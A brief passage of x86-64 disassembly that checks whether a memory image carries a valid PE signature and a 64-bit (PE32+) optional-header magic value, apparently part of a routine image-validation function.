jne 0x14001811f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140018128
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret